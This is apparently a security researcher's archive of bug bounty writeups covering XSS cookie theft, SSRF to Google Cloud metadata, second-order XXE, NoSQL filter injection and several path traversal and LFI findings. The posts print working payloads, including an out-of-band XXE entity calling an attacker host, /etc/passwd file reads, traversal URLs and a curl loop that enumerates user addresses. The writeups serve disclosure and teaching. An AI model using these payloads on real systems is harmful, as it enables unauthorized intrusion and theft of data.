As you open the URL, you will be redirected to my malicious SSO login page. A tech-savvy person will immediately recognize this as a phishing attack. While someone less familiar with such tactics may not.
However, if you check your request logs using Burp Suite, you will notice that your session cookies are already compromised and sent to the attacker’s server.

Recommendations

To fix this vulnerability, follow these steps:

Validate User Inputs: Always validate user inputs. For eUrl, ensure it points to a known, safe domain and doesn’t contain unexpected path or query elements.
Sanitize User Inputs: Beyond validation, sanitize user inputs. This can include escaping special characters or using secure functions that perform these tasks automatically.
Use Allow-lists: Employ an allow-list approach. Only permit specific, known-good inputs to pass through.
Implement Content Security Policy (CSP): Use Content Security Policy headers to limit the sources from which scripts can be loaded. This can prevent unauthorized script execution.
Set HTTPOnly Flag: Apply the HTTPOnly flag to the ASPSESSIONID cookie. This prevents the cookie from being accessed by client-side scripts, protecting it from theft during an XSS attack.
Use SameSite Attribute for Cookies: Set the SameSite attribute for the session cookie to Strict or Lax. This offers extra protection against Cross-Site Request Forgery (CSRF) attacks.
Regularly Update and Patch: Keep all software (libraries, frameworks, servers, etc.) up to date. Apply patches promptly as they become available.

Supporting Material/References:

Optional login page that is used to set cookies

REDACTED

Phishing page that we made to trick users

REDACTED

Cookies leaked without user knowing

REDACTED

Impact

A remote unauthenticated attacker can perform the following actions:

Launch a Cross-Site Scripting (XSS) attack: The attacker can manipulate the eUrl parameter to point to a malicious script. This script will be fetched and executed within the user’s session when the page loads, giving the attacker the ability to modify the webpage content or perform actions on behalf of the user.
Steal session cookies: The ASPSESSIONID cookie does not have the HTTPOnly flag set, which means it can be accessed by client-side scripts. In the event of a successful XSS attack, this cookie can be stolen, compromising the user’s session.
Perform account takeover: With the stolen session cookie, the attacker can impersonate the victim’s session, leading to unauthorized access to the user’s account and potentially any sensitive data or functionalities it contains.
Conduct harmful actions: Once the account is taken over, the attacker can perform potentially harmful actions such as changing user settings, sending messages, or making transactions.

All these malicious actions can be performed with just a single click from the user, increasing the risk and ease of the attack.

2. CSS Injection?

While checking a static page of an in-scope application, I came across an interesting JavaScript file.

The code looked like this:

const current_url_string = window.location.href;
const current_url = new URL(current_url_string);

const linkObj = current_url.searchParams.get("link1");
const userPhotoUrl =
  current_url.searchParams.get("user_photo_url") ||
  decodeDeepLink(linkObj).user_photo_url;

const photoBaseUrl =
  "https://REDACTED.example.com/media/profile-photos";

if (userPhotoUrl && userPhotoUrl.startsWith(photoBaseUrl)) {
  $(".profile-img-placeholder").css(
    "background",
    'url("' + userPhotoUrl + '")'
  );
}

I started to analyze the JavaScript code by manually reading.

const current_url_string = window.location.href;
const current_url = new URL(current_url_string);

const linkObj = current_url.searchParams.get("link1");
const userPhotoUrl =
  current_url.searchParams.get("user_photo_url") ||
  decodeLink(linkObj).user_photo_url;

This subsection retrives the link1 and user_photo_url parameters from the URL. The user_photo_url is a direct URL to the user’s profile picture. The other link1 parameter is a base64 encoded JSON object that is decoded using the decodeLink() function.

Here is the working of this function:

function decodeDeepLink(str) {
  try {
    return JSON.parse(atob(str));
  } catch (err) {
    return "";
  }
}

After decoding the link1 parameter, it extracts the value of user_photo_url key from the JSON.

The following subsection takes the user_photo_url and puts it directly in the CSS of the element having the .profile-img-placeholder as the CSS class.

if (userPhotoUrl && userPhotoUrl.startsWith(photoBaseUrl)) {
  $(".profile-img-placeholder").css(
    "background",
    'url("' + userPhotoUrl + '")'
  );
}

To set a user-provided value in the CSS of this class, I thought to provide a link like this:

https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwOi8vd3d3LmV4YW1wbGUuY29tIn0=

When decoded, it becomes this JSON:

{
	"user_photo_url": "http://www.example.com"
}

This did not work obviously because I had overlooked a crucial detail. There is a startsWith(photoBaseUrl) function that check if the value of user_photo_url starts with “https://REDACTED.example.com/media/profile-photos" or not. In my case, it did not. So, no reflections whatsoever in DOM.

Then I used the following URL to trigger the change in DOM:

https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwczovL1JFREFDVEVELmV4YW1wbGUuY29tL21lZGlhL3Byb2ZpbGUtcGhvdG9zIn0=

The link1 parameter decodes to this:

{
	"user_photo_url": "https://REDACTED.example.com/media/profile-photos"
}

This should trigger the DOM change, right? Wrong! This did not trigger any changes whatsoever.

I kept digging in the code more and more. Almost to the point where I decided to give up. Then, I thought to search in my Burp Suite history about this CSS class .profile-img-placeholder. I wanted to see where this class is used so I can better understand the issue.

And as it turns out, there was no element that had this class. The only file where I found this CSS class to be refereced was this very script I was reading. No other references were found even after manually crawling the entire website.

In the future, if the .profile-img-placeholder class is added, I’ll be prepared to exploit this vulnerability.

This is it. End of article. Apparantly, not all writeups end with a bounty.

Conclusion/Takeaways

Always check the scope you’re hacking before and after submitting the report.
Learn a programming language of your choice.
Manually review the source code in order to identify any potential vulnerabilities. With frequent practise, vulnerable code sections are easier to identify revealing potential vulnerabilities.

I work full time as a bug bounty hunter mostly hacking in Synack Red Team (SRT). If you’re interested in becoming a part of the Synack Red Team, feel free to connect with me on Twitter, Instagram, or LinkedIn. I’m always happy to offer guidance to fellow cybersecurity enthusiasts.

Cheers! Adios!

Holiday Hunting With Aquatone

Fri, 03 Mar 2023 01:09:16 +0530

Hello, folks!

Before going to the blog, I would like to give a little context on what happened here. I went on a workcation in April 2022 with my hacker friends (@N0_M3ga_Hacks, @AyushBawariya1 and @x30r_). We hacked during the day and partied in the evenings.

One day, I was telling @N0_M3ga_Hacks about how easy it was to hunt on a specific target in Synack Red Team. That it was full of vulnerabilities. I was telling him that I have found many vulnerabilities just by running aquatone on the in-scope HTTP servers. I did not even need to do a port scan to find other HTTP services on different ports like 8443,8080 etc.

While telling him about this, I thought, “Let me show him in practice” and I went ahead and ran httpx on all the in-scope IPs and found live HTTP services. Then I ran aquatone across all the IPs.

From here, we found a total of 3 vulnerabilities that are as documented below:

Vulnerability Title	Reward
SSRF Allowing To Access Google VM Metadata	$2400
SSRF Allowing To Access Internal Ports	$500
Exposed XXXX Portal Revealing Tickets	$705

SSRF Allowing To Access Google VM Metadata

What stood out from the aquatone results was a web page test application. The web root of the application looked like the following:

It asked us for a website URL to “start test”. I did not know what kind of test this was going to perform. For example, I just gave it https://example.com and saw what it did.

The application did something for a while and then gave me a nice screenshot of https://example.com with a lot of other performance metrics that I did not really know about or care enough to check.

What I got interested in was the screenshot of https://example.com. The application sent a request to https://example.com and gave us its screenshot.

This is the intended behavior of the application and the ability to request arbitrary URLs is not a vulnerability in itself. The vulnerability arises when the application makes requests to restricted URLs like cloud metadata URLs or localhost that DO have sensitive information exposed.

Happy with what I saw, I gave it https://127.0.0.1 to “start test”.

It again did something for a while and gave me the results. This time, the results were quite disappointing.

It showed an error saying “This site can’t be reached”.

I sent the request to Burp Suite Intruder and started doing a port scan of the top 1000 ports but it was taking a lot of time. All of these tests were taking 2-3 minutes to complete. Even if we consider the best case of 2 minutes to complete a test, we still require 2000 minutes which is 33.33 hours to perform a port scan of just 1000 ports.

This was the wrong way. To find a workaround, I played with the application’s settings and found an option to disable these “tests” that I thought took most of the time.

I disabled the tests and tried again. But the delay of 2-3 minutes was still there despite the tests being on or off. So I believe that it was some kind of internet issue or browser issue.

However, while testing this, I made a huge mess. Before you could submit a new URL to test, all the old URL tests were supposed to be finished. If they are not finished then the new URL tests will stay pending. And previously, I had sent 1000 requests to the server for port scanning.

This means I cannot test further without waiting for 33.33 hours. I wished someone would reboot the server so that I did not have to wait that long but the server seemed to be unused as no one sent any tests during these 33.33 hours. I also checked the old tests but there were no tests before I sent mine.

After two days, I checked and all the tests were finished. I scraped the results, found all the screenshots, and downloaded them.

Upon checking all the screenshots, I was disappointed once again as none of the ports were running HTTP services. Even after waiting for two days to see the results, nothing was found.

I tried the file:// protocol to retrieve /etc/passwd but that also did not work.

I went ahead to try and retrieve the cloud metadata. This should have been the most obvious choice to me as the client hosted all their infrastructure on GCP. But while hacking this, I was more curious about internally exposed services than cloud metadata.

To retrieve Google metadata, we need to request http://metadata.google.internal/computeMetadata/v1/ URL with two custom headers that are as follows:

X-Google-Metadata-Request: True
Metadata-Flavor: Google

Luckily, the application also provided functionality to add additional headers before you start the web page test.

I added the headers and started the test on http://metadata.google.internal/computeMetadata/v1/ URL. It took more than 2-3 minutes to finish this time so I got excited. But I was once again met with disappointment as this resulted in an empty screenshot.

I gave up with the cloud metadata thing and tried to check a few common ports like 8080, 8125, 80, 5000, etc. This also resulted in the same output as my previous attempts for a port scan. I decided to step away from this and take a little break.

After 5 days, I was again hooked on retrieving the Google metadata. This time I tried with several other endpoints like:

/computeMetadata/v1/instance/hostname
/computeMetadata/v1/instance/id
/computeMetadata/v1/instance/image

The list goes on but you get the point. I tried many other endpoints. I also used the much useful Cloud Metadata Wordlist Gist. However, none of these endpoints seemed to work in my case.

I then simply googled “google cloud metadata” and the very first result was the official documentation on how to access the VM metadata. As I was reading it, it mentioned the following endpoint:

/computeMetadata/v1/instance/tags

I gave the same endpoint to the application for testing and to my surprise, it gave me the output!

Here, the screenshot quality was really bad. It was too small that it was unreadable. To view metadata that makes some sense to us, we need to find some other way.

After poking around with different features, I found one way to view the resulting HTML content. All I had to do was to click on the “View JSON result” button. After clicking, the application showed the performance metrics and all the other information in JSON format.

Here, I was able to see the resulting HTML content in a JSON field called “html”.

I again checked the Cloud Metadata Wordlist Gist and found out that I did not check one endpoint shown in the wordlist. It was the following endpoint:

/computeMetadata/v1/instance/disks/?recursive=true

I quickly entered this endpoint and checked the HTML in JSON result and found out that it successfully listed all the disks!

Reported this with all the required pieces of evidence and this was accepted.

The same application offered other functionalities like running a custom testing script, bulk testing, bulk testing using file upload, etc. And all of them were vulnerable to this.

I will not be explaining each of them but an exploit using a custom testing script looked like this:

addHeader Metadata-Flavor: Google
navigate http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

SSRF Allowing To Access Internal Ports

The web application root of this IP showed a search functionality as shown below.

Here, you can see that a URL is shown beside the “cluster” drop-down. We can change the cluster dropdown to other options that will change the URL. My best guess is that we can change the cluster to switch between dev/prod environments.

Upon searching a string “test”, a POST request to the /search endpoint is sent along with a lot of other parameters.

A detailed breakdown of a few crucial parameters is shown below:

Parameter	Explanation
url	This was the URL to which the search request was sent. If you change the cluster using the drop-down, this URL will change.
sortby	This was the column/criteria on which the result would be sorted.
sortorder	Ascending or descending depending on the value.
keyword	The keyword to search in the cluster.
page	This was used for pagination purposes.
storeid	The store identifier in which we had to search

From the parameters, I assumed that a sequence similar to the following might be used by the web application:

Here, the url parameter directly clicked as an SSRF in my head but I kept it in side and started hunting for SQL injections.

I tested all the parameters and all the cluster URLs to see if any of them is vulnerable to an SQL injection or not. But all of them were secure and SQL injection was not possible in any of the clusters.

Now, back to the SSRF, I changed the url parameter to my TUPoC URL and I saw that the server now responded with a JSONDecodeError and a detailed stack trace.

You may be wondering, “Why does this exception occur?” This is because the web application is trying to JSON decode the data returned from our TUPoC URL but our TUPoC URL is not sending valid JSON data. It is sending normal HTML.

By taking advantage of this verbose error, we can enumerate open HTTP services on the vulnerable server.

The thought process behind this is that, if a web service is running on the server, it will return some HTML data. The web application will try to JSON decode HTML data and hence an exception will be thrown. This way, we can enumerate open HTTP ports.

I quickly sent the request to Burp Suite Intruder and changed the url parameter to http://127.0.0.1:§1§ and ran intruder from 1 to 5000 to fuzz the top 5000 ports.

Once the attack was complete, I found that port 5000 was open and running the vulnerable service.

All the other ports returned a ConnectionError exception.

Exposed XXXX Portal Revealing Tickets

Once again, the web root of this host showed some kind of dashboard that I found interesting.

It was showing different functionalities like incidents, tickets, changes, etc. The API was restricting access to some of the functionalities. However, only some of the functionalities were protected and most of the functionalities were accessible without any sort of authentication.

Here, I was able to view all the open tickets.

Takeaways

Collaborate with like-minded people.
Do not give up if your way of exploiting does not work. Take a break and try again.
Hacking is not as easy as I made it seem in this blog post. Sometimes I hack for more than 12 hours without finding a vulnerability or even something to play with. And sometimes I get lucky and find multiple vulnerabilities with something as simple as aquatone.
Take vacations/holidays.

Thanks for reading. :)

If you have any questions, you can reach me out on Twitter at @kuldeepdotexe.

Happy hacking!

Second Order XXE Exploitation

Wed, 19 Oct 2022 17:59:25 +0530

Hello, guys!

This writeup is about my recent discovery on Synack Red Team which was a Second Order XXE that allowed me to read files stored on the web server.

Please note that this article is not about how/why/when of the XXE attacks. This is just a single case of a non-trivial interesting XXE that I found and seems worth sharing. If you want to learn more about XXEs, you may refer to the following links:

Now to the blog.

A fresh target was onboarded in the morning and I hopped onto it as soon as I received the email. In the scope, there were two web applications listed along with two postman collections. I prefer postman collections over web apps so I loaded the collections with their environments into my postman.

After sending the very first request, I noticed that the application was using SOAP API to transfer the data. I tried to perform XXE in the SOAP body but the application threw an error saying “DOCTYPE is not allowed”.

Here, we cannot perform XXE as DOCTYPE is explicitly blocked.

Upon checking all the modules one by one, I came across a module named NormalTextRepository in the postman collection which had the following two requests:

saveNormalText
GetNamedNormalText

After sending the first saveNormalText request and intercepting it in Burp Suite, I found out that it contained some HTML-encoded data that looked like this:

Upon decoding, the data looked like this:

<?xml version="1.0"?>
<normal xmlns="urn:hl7-org:v3" xmlns:XX="http://REDACTED.com/REDACTED"><content XX:status="normal" XX:state="normal">Synacktest</content></normal>

This quickly caught my attention. This was XML data being passed inside the XML body in a SOAP request (Inception vibes).

I went on to try XXE here as well. For this, I copy pasted a simple Blind XXE payload from PortSwigger:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/XXETEST"> %xxe; ]>

I used Synack’s provided web server to test for this. Upon checking its logs, I found out that there indeed was a hit for the /XXETEST endpoint.

This still was a blind XXE and I had to turn it into a full XXE in order to receive a full payout. I tried different file read payloads from PayloadsAllTheThings and HackTricks but they did not seem to work in my case.

In my case, the XXE was not reflected anywhere in the response. This is why it was comparatively difficult to exploit.

After poking for a while, I gave up with the idea of full XXE and went ahead to check if an internal port scan was possible or not as we were able to send HTTP requests.

I sent the request to Burp Suite’s intruder and fuzzed for the ports from 1 to 1000. The payload for that looked like the following:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:§1§/XXETEST"> %xxe; ]>

However, the result of the intruder was just not making any sense to me. All the ports that I fuzzed were throwing random time delays.

Lost all hope and was about to give up on this XXE once again. Then a thought struck my head. “If this data is being saved in the application, it has to be retriveable in some way as well”. I checked the other GetNamedNormalText request in this module and instantly felt stupid. This request retrieved the data that we saved from the first saveNormalText request.

I used the following XXE file read payload and saved the data:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>

Then sent the second GetNamedNormalText request to retrieve the saved data. And in the response, I could see the contents of the /etc/passwd file!

This was enough for a proof of concept. However, looking at the JSESSIONCOOKIE, I could tell that the application was built using Java. And, in Java applications, if you just provide a directory instead of a file, it will list down the contents of that directory and return it.

To confirm this theory, I just removed the /passwd portion from the above file read payload. The updated payload looked like this:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc"> ]>

Upon saving the above payload and retrieving it using the second request, we could see the directory listing of the /etc directory!

Sent it to Synack and they happily triaged it within approximately 2 hours.

Thank you for reading. :)

You can reach out to me at @kuldeepdotexe.

NoSQL Injection in Plain Sight

Mon, 04 Apr 2022 22:14:09 +0530

Hello, folks!

This article is going to be about my recent discovery on Synack Red Team which was a NoSQL injection.

I asked if I should do a write-up or not in my Twitter and a lot of you responded with a writeup. Therefore, I am writing this article to showcase the finding.

Please note that this will not be a technical guide on why NoSQL injections exist and their breakdown. I will just share the thought process and approach that I had when testing this particular application.

So, when I got onboarded to this program, it had one application in scope. It was an authenticated test and credentials were provided by the client. Synack’s quality period was also going on and it had approximately 8 hours.

As always, I fired up Burp Suite, opened Burp’s in-built browser, went to the login page, and started intercepting.

I was closely monitoring every request after clicking “Login”.

First, there was a login request to the /oauth2/token endpoint. This endpoint returned the JWT token that allowed us to access the application APIs. However, no fun here.

After the login request, there was another request to a metadata endpoint. This also was not very interesting as the endpoint returned data that was going to be used to render the frontend.

But after the first two requests, a request to the /api/[CLIENT_NAME]/Customers was sent. This request in particular was very interesting as it had a parameter named $filter. And the parameter had a long NoSQL string inside it.

The request looked like this:

GET /api/[CLIENT_NAME]/Customers?$filter=(id%20eq%202)%20and%20((is_active%20eq%20%27Y%27)%20and%20(is_deleted%20eq%20%27N%27))&$orderby=name HTTP/1.1
Host: [TARGET_APPLICATION]
...
[SNIPPED_BECAUSE_IRRELEVANT]

If you look at the value of the $filter parameter, the URL encoded string decodes to the following filter:

(id eq 2) and ((is_active eq 'Y') and (is_deleted eq 'N'))

This endpoint returned basic customer information like customer name, last login date, etc.

You can see the full request-response pair below:

I had read a few blogs on NoSQL injection in past. Especially after the HackIM CTF. So, I figured this was something related to NoSQL.

The eq in the $filter is the same as SQL’s = or LIKE.

So, what the endpoint really did was that it read the value of $filter and then it evaluated the filter and retrieved the data specified in the filter.

To break down the parameters in the above filter,

id (This was the customer ID. Our current user had the customer ID of 2. If I had changed it to 1 instead of 2, this would have been an easy IDOR.)
is_active (This was an attribute our user had. The is_active attribute would be Y if our user was active and N if not.)
id_deleted (This was another attribute to specify if our user was deleted or not.)

So, the /api/[CLIENT_NAME]/Customers endpoint took the filter and returned our own user(user ID 2)’s data if and only if our user was active and not deleted.

For testing, I removed the later part which was ((is_active eq 'Y') and (is_deleted eq 'N')) and just sent the following filter:

$filter=(id eq 2)

The application happily returned my data without erroring out.

As I was aware that this was NoSQL, I googled “NoSQL wildcards” and tried to play around with wild cards. I came across the following documentation by MongoDB on wildcard indices: https://www.mongodb.com/docs/manual/core/index-wildcard/

I played around with wild cards doing things like $filter=($** eq 2) and some of it worked meanwhile some of it did not.

I also tried to forcefully put wild cards in the value and crafted this payload: $filter=(id eq $**)

But it did not have a valid syntax so it also failed.

I honestly did not put much effort into wildcards as I was not getting the syntax right.

Then a thought popped into my mind. There was one operator in the filter called eq. What if I use some other operator? Is it possible to do it?

I googled “MongoDB syntax” which led me to this awesome documentation again by MongoDB: https://www.mongodb.com/docs/manual/tutorial/query-documents/

The above documentation very nicely explains MongoDB syntax with SQL alternative syntax to properly understand it.

However, after going a little further into the documentation, the documentation linked to another documentation page which was about “Query and Projection Operators”. You can find it here: https://www.mongodb.com/docs/manual/reference/operator/query/

And, this page was exactly what I needed to craft my exploit! The page listed down all the MongoDB operators and their use cases.

I decided to go with the gt operator because I wanted the endpoint to return user details of all the users whose user ID was greater than 0. I had made an assumption that user IDs will start from zero.

For that purpose, I crafted the following payload:

$filter=(id gt 0)

And the application returned the customer information of the other user as well. Sadly there were only two users and this was a pre-production application. However, I still was happy because I got the info of the other user.

I was still not happy with the results because only basic login information was leaked. Any sort of PII or sensitive information was not leaked from this endpoint.

I went back to my Burp history and found all the endpoints that had this $filter parameter. I had gathered a total of 7 endpoints.

Closely inspecting the endpoints, I found one interesting endpoint called /api/[CLIENT_NAME]/CustomerLogins. This was interesting because it took the filter as well as returned PII in the response.

I used the same payload as above and sent the request. And the application leaked email address, username, password hash, and phone number! And that too of the administrator user. Not just any random user.

I reported all the endpoints and wrote a nice report. There were few other reports for the same vulnerability after the QR had ended but my report managed to win.

Thanks for the read. :)

You can reach out to me at @kuldeepdotexe.

Path Traversal Paradise

Sun, 23 Jan 2022 22:37:16 +0530

Hi, guys!

This blog will be about all the different kinds of Path Traversals and Local File Inclusion vulnerabilities that I have found in Synack Red Team.

After hacking on Synack Red Team for approximately 9 months, I came to realise that Path Traversal and LFI like vulnerabilities are very common. I reported few authenticated vulnerabilities and few unauthenticated. However, I will try to cover both kinds of vulnerabilities.

Before moving forward, I’d like to list all my Path Traversal/LFI submissions.

Submissions

Submission	Status
Path Traversal Vulnerability Leads To Source Code Disclosure	Accepted
Local File Inclusion in VMWare VCenter running at [REDACTED]	Accepted
Spring Boot Path Traversal - CVE-2020-5410	Accepted
Local File Inclusion In download.php	Accepted
Local File Inclusion In download.php	Rejected (Duplicated my previous report)
Local File Inclusion In download.php	Rejected (Duplicated in quality period)
Path Traversal Allows To Download Licence Keys	Accepted

Descriptions

Path Traversal Vulnerability Leads To Source Code Disclosure

This was the very first Path Traversal vulnerability that I had found in Synack Red Team. Also, even though I was pretty new to the platform and to the whole bug bounty thing in general, this report won the quality round so I am very proud of this particular report.

After logging into the application, the application provided a bunch of sections like manage vendors, manage inventory, etc with a bunch of functionalities.

Upon further inspecting these sections, I came across an interesting functionality that involved importing the data. The file was named DataImport.view.

I tried getting RCE by uploading a web shell and it actually worked! However, that’s a different story. We want to discuss Path Traversals here and not RCEs.

So, after successfully uploading a file, we were given the functionality to read the file.

After clicking the “ReadFile” button, it filled the file name field to the current uploaded filename by default. However, we had the ability to change the file name.

Now, I just had to provide a valid file name. For this, I used the Auth.aspx to which the login request was sent. I could be sure that this exists because a login request was sent to this file and it resided in the webroot.

So, I tried to do path traversal using payloads like ../Auth.aspx and ../../Auth.aspx etc.

And, after three ../ sequences, the file was actually returned!

The response looked like this:

The file was broken because some sort of XML parsing was done on it. I still went ahead and reported it because it was still a path traversal issue and disclosed source code contents.

I could do more creative things here like pulling more sensitive files but I stopped here because very limited time was left in the quality round. I initially did not care much for this vulnerability as I had already reported an RCE there but then quickly made a report in under 15 minutes putting together all my PoCs and I still won the quality round.

Local File Inclusion in VMWare VCenter running at [REDACTED]

This was the classic VMWare VCenter /eam/vib LFI vulnerability.

The /eam/vib endpoint in VMWare VCenter instances takes a parameter named id in the GET request. The value to this id parameter is a file name that will be retrieved by the VCenter instance and will be given back in the response.

There are already many resources regarding this particular vulnerability and I do not think much is to be said about it in this particular article.

I used the following payload to retrieve the hosts file off the remote server:

https://[REDACTED]/eam/vib?id=C:/WINDOWS/System32/drivers/etc/hosts

There were some IP to host mappings in the hosts file which I thought was enough for impact but with creativity, more could have been achieved.

I reported the issue during the quality round and this also won the QR.

Spring Boot Path Traversal - CVE-2020-5410

This was a known vulnerability in Spring Boot Cloud Config server. For PoC, I referred to this article here: http://www.jrasp.com/case/CVE-2020-5410.html

That article talks in detail about the vulnerability and also explains the source code.

I did not read that much and simply took the PoC from there and used it on the target that I had for testing. And the exploit worked!

I used the same payload as in the PoC which is:

https://[REDACTED]/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development

The above payload retrieves the /etc/passwd file.

However, this was Java and one odd thing about Java Path Traversals/LFIs is that if you specify a directory instead of a file for opening, it will actually list the content of that directory.

So, for example, if I did not know what files were in the /etc directory, I would simply use the following payload to list all the files:

https://[REDACTED]/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%23foo/development

This is just the previous payload with the trailing /passwd removed. Now, we are just listing the contents of the /etc directory.

I used this feature to list the contents of the root directory in the affected Linux server. In the root directory, I found a file named application.jar which was potentially the source code of the currently running Spring Boot Cloud Config server.

Also, the root directory had a file .dockerenv so I was quite sure that I was in a docker container.

However, Synack Red Team has the stop-and-report policy according to which, we are not supposed to do post-exploitation.

I reported the issue during the 8 hours long quality period. And nobody had checked for this particular vulnerability and mine was the only report in QR.

Local File Inclusion In download.php

I have already discussed this vulnerability in my previous article and you can find it here: Local File Inclusion In download.php

Path Traversal Allows To Download Licence Keys

This path traversal was also very interesting. This was in a custom-built application and it did not require any authentication.

When we visited the webroot, the web application redirected us to the login page.

The login page was custom built and there was a brand logo along with the login page so I cannot show you the screenshots.

Upon visiting the login page, a request to the /web/product_logo endpoint was sent. The request contained a GET parameter named logo.

Overall, the request URL looked like this:

https://[REDACTED]/web/product_logo?logo=logo.png

The parameter logo took a file name as the input and returned that particular file in the response. In this case, it was logo.png.

Now, as this is functionality to read files, there may be a potential LFI/Path Traversal here. So, I changed the file name to index with different extensions. However, none of them worked.

So, I ran ffuf hoping to discover more files but it was a failure. I used the raft-small-files-lowercase.txt provided in the SecLists.

I did not know the underlying technology which is used so it was quite painful to enumerate files.

However, I knew it was a Windows box because of the case-insensitive directory structure. What it basically means is that, in Windows, WinDows and Windows are the same directories/files as it is not case sensitive. And when I was doing my recon, I received the same response when I did /web or /Web so I was quite sure it was a Windows box.

There are other ways to determine this too but I decided to assume it was Windows.

Same as my past submissions, I decided to read the C:/WINDOWS/System32/drivers/etc/hosts file of the remote server.

So, I used a path traversal payload and the final URL looked like this:

https://[REDACTED]/web/product_logo?logo=../WINDOWS/System32/drivers/etc/hosts

However, one ../ sequence did not work. So I kept increasing the ../ sequences.

Finally after 10 ../ sequences, I finally hit the hosts file and the server retrieved it for us.

The final payload looked like this:

https://[REDACTED]/web/product_logo?logo=../../../../../../../../../../WINDOWS/System32/drivers/etc/hosts

Although this was enough for PoC, I decided to dig deeper with this path traversal.

When I was fuzzing the application, I encountered an error that disclosed the full path to the webroot.

I ran ffuf again but now in the webroot of the server using the path traversal that I had found. This way, I was able to enumerate a file named LICENSE that had license keys of the application.

I reported the issue with all my findings and the report won the QR.

Thanks for the read. :)

You can reach out to me at @kuldeepdotexe.

120 Days of High Frequency Hunting

Sat, 15 Jan 2022 20:50:13 +0530

Hi, guys!

I and @caffeinevulns took inspiration from @infosec_au’s blog about high-frequency bug hunting and how he found 120 bugs in 120 days. After going through the blog, we decided to try to find 120 bugs in 120 days. Although we did not exactly succeed in finding 120 bugs in 120 days, we still found pretty nice bugs. This blog will be a transparent disclosure of all the bugs I found on Synack Red Team during these 120 days and a small write-up about the techniques I used to find/exploit them.

This particular write-up is limited to my bugs only due to length concerns. However, you can find @caffeinevulns’ bugs on his blog at https://coffeejunkie.me/.

For summarising, I found a total of 36 valid vulnerabilities and performed 29 missions and 29 patch verifications. Please note that I have not included duplicate and low-impact findings that were rejected. I originally decided to include them as well but then I felt lazy because I had to go through all the submissions once again and it was not worth the effort for rejected submissions.

Submissions

Transaction	Date
AC in /reports/posts.php Leaking PII	Aug 05, 2021
Misconfigured Web Server Leaks Admin Functionalities In 302 Response Body	Aug 05, 2021
Unauthenticated SQL Injection in [REDACTED] on owner and scheme parameters	Aug 05, 2021
Debug Flag Allows for viewing of Database Credentials	Aug 19, 2021
Debug Flag Allows To See Database Credentials	Aug 19, 2021
Debug Flag Allows To See Database Credentials	Aug 23, 2021
Root Detection Bypass Using Frida	Sep 15, 2021
Wordpress Login Panel	Sep 15, 2021
Exposed Drupal Login Panel	Sep 16, 2021
Multiple Time Based SQL Injections	Sep 17, 2021
Spring Boot Path Traversal - CVE-2020-5410	Sep 21, 2021
Reflected XSS via E-Mail parameter with ASP.NET WAF Bypass	Sep 23, 2021
Outdated Jira instance leaking PII information	Sep 24, 2021
Login Authentication Bypass In Client Side UI	Sep 28, 2021
Access Control Issue Allows To Execute SQL Statements	Sep 28, 2021
Reflected XSS Via URL on [REDACTED]	Sep 30, 2021
Reflected XSS Via key Parameter on [REDACTED]/admin/core/html/google_api_lang.php	Sep 30, 2021
Reflected XSS Via POST Body	Sep 30, 2021
Config Backup Disclosing Cpanel Passwords	Sep 30, 2021
Folder Backup Exposing CVs	Oct 01, 2021
/connectors endpoints leaking Database Connection Information	Oct 01, 2021
IDOR Exposing CVs and PII	Oct 01, 2021
WordPress Login Panel	Oct 05, 2021
Exposed Drupal Login Panel	Oct 06, 2021
Admin Panel Disclosure	Oct 13, 2021
Multiple Time Based SQL Injections	Oct 13, 2021
Local File Inclusion In download.php	Oct 14, 2021
Default Admin Credentials On Nagios Server	Oct 28, 2021
Multiple Exposed Files Disclosing Confidential Information	Oct 28, 2021
SSRF Allowing To Access Internal Service	Nov 02, 2021
SSRF Allowing To Access Internal Service	Nov 02, 2021
IDOR Allows To Read Order Details	Nov 04, 2021
IDOR Allows To Read Order Details	Nov 04, 2021
Reflected XSS With WAF Bypass	Nov 10, 2021
Multiple IDORs Allowing To Modify Endpoint Details	Nov 11, 2021
Pre-auth Server Side Request Forgery	Nov 24, 2021
Patch Verifications(29)
Missions(29)

Analysis

Category	Vuln Count
Information Disclosure	13
Cross Site Scripting	5
Access/Privacy Control Violation	4
Insecure Direct Object Reference	4
SQL Injection	3
Server Side Request Forgery	3
Path Traversal/Local File Inclusion	2
Default Credentials	1
Root/Jailbreak Detection Bypass	1

Brief Descriptions

AC in /reports/posts.php Leaking PII

The PHP script /reports/posts.php accepted a numeric POST parameter named scheme which returned the residential address of users. I used the following command to enumerate different IDs and return addresses associated with the ID:

for id in $(seq 1 50); do curl https://[REDACTED]/reports/posts.php -X POST -d "scheme%5B%5D=$id&custom=&create=Posts" --silent | sed '1,2d'; done

The above command will return addresses of users having IDs ranging from 1 to 50.

Misconfigured Web Server Leaks Admin Functionalities In 302 Response Body

This was the famous execute after redirect issue in PHP. The server had many PHP scripts that when visited, redirected to the login page. However, the 302 redirects also had the body contents of the same PHP script. Due to this, an attacker could access protected pages that leaked the admin functionality.

I got around the redirect issue by adding the following match and replace rule in Burp:

Field	Value
Type	Response header
Match	Location: https://[REDACTED].com
Replace
Comment

Note: Replace and Comment fields are empty.

Multiple Time Based SQL Injections

This particular finding was very interesting because although it was pretty straightforward, sqlmap was still not able to exploit it. For this vulnerability, I had to manually enumerate the database and dump information. It was a time-based SQL injection so it required a lot of patience to get something meaningful out of the database.

I first confirmed the SQL injection using the same special character fuzzing. However, this time, the application did not throw an SQL error when we sent a single quote. Instead, the response content was changed. Normally, the page would respond with 400 bad request. But if you send a single quote in the parameter, the response code changed from 400 to 500 hinting at an SQL injection. Now, if we do '-- -, the WAF blocked us from using that payload. I tried to bypass the WAF by using different forms of comments like # and /* but none of them worked and the WAF still blocked us.

